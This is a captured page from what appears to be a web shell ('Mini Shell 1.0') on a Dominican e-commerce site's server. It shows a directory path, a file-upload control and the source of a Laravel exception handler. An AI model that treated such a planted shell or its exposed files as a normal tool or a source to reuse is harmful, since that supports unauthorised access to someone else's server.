HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Exceptions/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Exceptions/Handler.php
<?php



namespace App\Exceptions;



use App\Utility\NgeniusUtility;

use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;

use Throwable;



class Handler extends ExceptionHandler

{

    /**

     * A list of the exception types that are not reported.

     *

     * @var array

     */

    protected $dontReport = [

        //

    ];



    /**

     * A list of the inputs that are never flashed for validation exceptions.

     *

     * @var array

     */

    protected $dontFlash = [

        'current_password',

        'password',

        'password_confirmation',

    ];



    /**

     * Register the exception handling callbacks for the application.

     *

     * @return void

     */

    public function register()

    {

        $this->reportable(function (Throwable $e) {

            //

        });

    }



    public function render($request, Throwable $e)

    {

        if($this->isHttpException($e))

        {

            if ($request->is('customer-products/admin')) {

                return NgeniusUtility::initPayment();

            }

            

            return parent::render($request, $e);

        }

        else

        {

            return parent::render($request, $e);

        }

    }

}